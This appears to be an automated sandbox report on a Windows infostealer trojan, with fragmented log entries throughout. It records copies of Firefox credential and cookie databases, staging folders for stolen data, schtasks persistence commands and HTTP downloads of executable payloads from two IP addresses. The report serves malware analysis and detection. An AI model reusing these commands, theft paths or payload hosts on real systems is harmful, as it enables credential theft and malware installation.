%TEMP%\jobA4GHiLxQulTalN9\02zdBXl47cvzplaces.sqlite (UID: 00000000-00003992) "A_fx0NQLKitBAeBAEfCf.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\signons.sqlite to new location %TEMP%\jobA4Q6P9BsOQ2wXMT\Ei8DrAmaYu9Ksignons.sqlite (UID: 00000000-00003788) "A_fx0NQLKitBAeBAEfCf.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\places.sqlite to new location %TEMP%\jobA4Q6P9BsOQ2wXMT\8ghN89CsjOW1places.sqlite (UID: 00000000-00003788) "A_fx0NQLKitBAeBAEfCf.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\cookies.sqlite to new location %TEMP%\jobA4Q6P9BsOQ2wXMT\D87fZN3R3jFecookies.sqlite (UID: 00000000-00003788) "A_fx0NQLKitBAeBAEfCf.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles/g4h7miqt.default\places.sqlite to new location %TEMP%\jobA4Q6P9BsOQ2wXMT\02zdBXl47cvzplaces.sqlite (UID: 00000000-00003788)3c:Tf58,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %ALLUSERSPROFILE%\MPGPH131 (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %LOCALAPPDATA%\RageMP131 (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9 (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA4GHiLxQulTalN9 (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Cookies (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Autofill (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Downloads (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\Amazon Downloader Logs (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\hancom (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Music (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Pictures (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\My Videos (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Files\Outlook Files (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP\FileZilla (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\GoogleAccounts (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\FTP\TotalCommander (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Growtopia (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Minecraft (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\TLauncher (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\FeatherClient (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\LunarClient (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateDirectoryA" with parameter %TEMP%\jobA3GHiLxQulTalN9\Games\Battle.net (UID: 00000000-00003992)3d:T723,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessA" with parameter "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessA" with parameter "schtasks /create /f /RU "%OSUSER%" /tr "%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\MHH8pQrdaTkfN7lyJVXS.exe"" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\N_QwR4NSLtBtcixCu5po.exe"" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\cGutGk0YYa8pjPhoX_RK.exe"" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\A_fx0NQLKitBAeBAEfCf.exe"" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\xxRxKruXMsk3aXgsr67Q.exe"" - (UID: 00000000-00003992) "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" called "CreateProcessW" with parameter ""%TEMP%\jobA4GHiLxQulTalN9\5jxITIHj6OKJr9ZS6w6P.exe"" - (UID: 00000000-00003992) "MHH8pQrdaTkfN7lyJVXS.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.youtube.com/" - (UID: 00000000-00001416) "N_QwR4NSLtBtcixCu5po.exe" called "CreateProcessW" with parameter ""%TEMP%\d887ceb89d\explorhe.exe"" - (UID: 00000000-00002516)3e:T1726,"DELETE FROM %Q.%s WHERE name=%Q" (Source: 32512-1597-010440C0, Indicator: "delete from %q.%s where name=%q") "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 32512-1597-010440C0, Indicator: "delete from %q.sqlite_stat1 where idx=%q") "UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d" (Source: 32512-1770-01042280, Indicator: "update %q.%s set type='%s', name=%q, tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d") "UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d" (Source: 32512-1694-0105DBE0, Indicator: "update %q.%s set type='table', name=%q, tbl_name=%q, rootpage=0, sql=%q where rowid=#%d") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 32512-1567-0102ED20, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 32512-1767-010428B0, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'") "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 32512-1767-010428B0, Indicator: "delete from %q.sqlite_stat1 where tbl=%q") "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 32512-1691-0103E8B0, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q) tbl_name = %Q name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='" (Source: 32512-1689-0103E180, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='") "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 32512-1510-01043140, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)" (Source: 32512-1540-01050B90, Indicator: "create table sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 32512-1540-01050B90, Indicator: "select name rootpage sql from '%q'.%s"), "CREATE TABLE" (Source: 32512-1771-01042010, Indicator: "create table"), "Select Your Wireless NetworkySelect the network name (SSID) of your wireless network from the list. Network names may take up to 60 seconds to appear." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select your wireless networkyselect the network name (ssid) of your wireless network from the list. network names may take up to 60 seconds to appear."), "Select Your Connection}Select your connection from the list. The connection must have a saved user name and password and be available to all users." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select your connection}select your connection from the list. the connection must have a saved user name and password and be available to all users."), "Select Your Set-top Box Brand}Select the brand of your set-top box from the list. If your brand is not listed select Not Listed at the bottom of the list." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select your set-top box brand}select the brand of your set-top box from the list. if your brand is not listed select not listed at the bottom of the list."), "Select the appropriate display resolution from the list below. For best results use the resolution recommended by the manufacturer in the display hardware documentation." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select the appropriate display resolution from the list below. for best results use the resolution recommended by the manufacturer in the display hardware documentation."), "insert it into the digital tuner and select Scan Again." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "insert it into the digital tuner and select scan again."), "Select Add Channel to enter the name and channel number for a standard TV channel that is missing from the Guide. To add a digital TV channel select Add DTV Channel." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select add channel to enter the name and channel number for a standard tv channel that is missing from the guide. to add a digital tv channel select add dtv channel."), "Select OK for more information.ZYour Guide listings include one or more channels that share programming from two networks." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select ok for more information.zyour guide listings include one or more channels that share programming from two networks."), "Select a folder for backing up or restoring your media usage rights.ORequesting approval to restore media usage rights. This may take a few minutes.&Transferring media usage rights to %s.(Transferring media usage rights from %s." (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "select a folder for backing up or restoring your media usage rights.orequesting approval to restore media usage rights. this may take a few minutes.&transferring media usage rights to %s.(transferring media usage rights from %s.") "Delete from &library only$Delete from library and my &computer=Are you sure you want to delete these items from your device?" (Source: 00000000-00001416.00000003.81054.037A0000.00000002.mdmp, Indicator: "delete from &library only$delete from library and my &computer=are you sure you want to delete these items from your device?")3f:T4a0,"%APPDATA%\Opera Software\*" in Source: 00000000-00003992-00000C27-42271995051 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00003992-00000C27-43174929570 "Software\AutoIt v3\AutoIt" in Source: 00000000-00001416.00000000.71033.0105C000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00001416.00000000.71033.0105C000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00001416.00000000.71033.0105C000.00000002.mdmp "Registry\Machine\Software\Classes" in Source: 00000000-00001416.00000001.72954.00790000.00000004.mdmp 00000000-00001416.00000002.74873.00790000.00000004.mdmp 00000000-00001416.00000003.81054.00790000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00001416.00000001.72954.00790000.00000004.mdmp 00000000-00001416.00000002.74873.00790000.00000004.mdmp 00000000-00001416.00000003.81054.00790000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001416.00000001.72954.00790000.00000004.mdmp 00000000-00001416.00000002.74873.00790000.00000004.mdmp 00000000-00001416.00000003.81054.00790000.00000004.mdmp40:T1040,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" failed to load missing module "RpcRtRemote.dll" - [base:752c0000; Status:c0000034] "schtasks.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "schtasks.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "MHH8pQrdaTkfN7lyJVXS.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "N_QwR4NSLtBtcixCu5po.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "N_QwR4NSLtBtcixCu5po.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "N_QwR4NSLtBtcixCu5po.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "cGutGk0YYa8pjPhoX_RK.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "A_fx0NQLKitBAeBAEfCf.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "A_fx0NQLKitBAeBAEfCf.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "A_fx0NQLKitBAeBAEfCf.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "A_fx0NQLKitBAeBAEfCf.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "xxRxKruXMsk3aXgsr67Q.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "xxRxKruXMsk3aXgsr67Q.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "xxRxKruXMsk3aXgsr67Q.exe" failed to load missing module "api-ms-win-core-sysinfo-l1-2-1" - [base:0; Status:c0000135] "5jxITIHj6OKJr9ZS6w6P.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "5jxITIHj6OKJr9ZS6w6P.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "5jxITIHj6OKJr9ZS6w6P.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "5jxITIHj6OKJr9ZS6w6P.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135]41:T3aee,"GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Mon 29 Jan 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Mon 29 Jan 2024 01:31:07 GMT Server: cloudflare CF-RAY: 84cdb65e5e5cfac6-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /cost/ko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:13 GMT Content-Type: application/octet-stream Content-Length: 918528 Last-Modified: Mon 29 Jan 2024 09:21:35 GMT Connection: keep-alive ETag: "65b76e1f-e0400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /mine/amers.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 185.215.113.68 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:25 GMT Content-Type: application/octet-stream Content-Length: 809984 Last-Modified: Mon 29 Jan 2024 09:21:28 GMT Connection: keep-alive ETag: "65b76e18-c5c00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /cost/niks.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:29 GMT Content-Type: application/octet-stream Content-Length: 62464 Last-Modified: Mon 29 Jan 2024 09:21:30 GMT Connection: keep-alive ETag: "65b76e1a-f400" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /cost/vinu.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:32 GMT Content-Type: application/octet-stream Content-Length: 1195520 Last-Modified: Mon 29 Jan 2024 09:21:26 GMT Connection: keep-alive ETag: "65b76e16-123e00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /cost/networa.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:39 GMT Content-Type: application/octet-stream Content-Length: 915968 Last-Modified: Mon 29 Jan 2024 09:21:35 GMT Connection: keep-alive ETag: "65b76e1f-dfa00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000020010000....... "GET /cost/lada.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 109.107.182.3 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 29 Jan 2024 01:31:48 GMT Content-Type: application/octet-stream Content-Length: 2306560 Last-Modified: Mon 29 Jan 2024 09:21:19 GMT Connection: keep-alive ETag: "65b76e0f-233200" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000018010000....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1976 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 29 Jan 2024 01:32:28 GMT Last-Modified: Mon 29 Jan 2024 00:59:32 GMT Server: ECAcc (sac/2551) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45792 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Mon 29 Jan 2024 01:32:29 GMT Etag: "614b5ba7-243" expires: Wed 31 Jan 2024 01:32:29 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon, 29 Jan 2024 00:59:32 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 1979 Cache-Control: max-age=7200 Date: Mon 29 Jan 2024 01:32:31 GMT Last-Modified: Mon 29 Jan 2024 00:59:32 GMT Server: ECAcc (sac/2551) X-Cache: HIT with response body ==>....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Mon 29 Jan 2024 01:32:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Mon 29 Jan 2024 01:32:54 GMT Server: cloudflare CF-RAY: 84cdb8faadf91694-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 124 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 29 Jan 2024 01:32:40 GMT Last-Modified: Mon 29 Jan 2024 01:30:36 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 313 with response body ==>308201350A0100A082012E3082012A06092B06010505073001010482011B3082011730819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 29 Jan 2024 01:23:08 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 578 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA216041432192D2918BF035A75726826C5E5F33E11AB3206180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 29 Jan 2024 00:40:33 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3140 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 29 Jan 2024 01:26:55 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 359 with response body 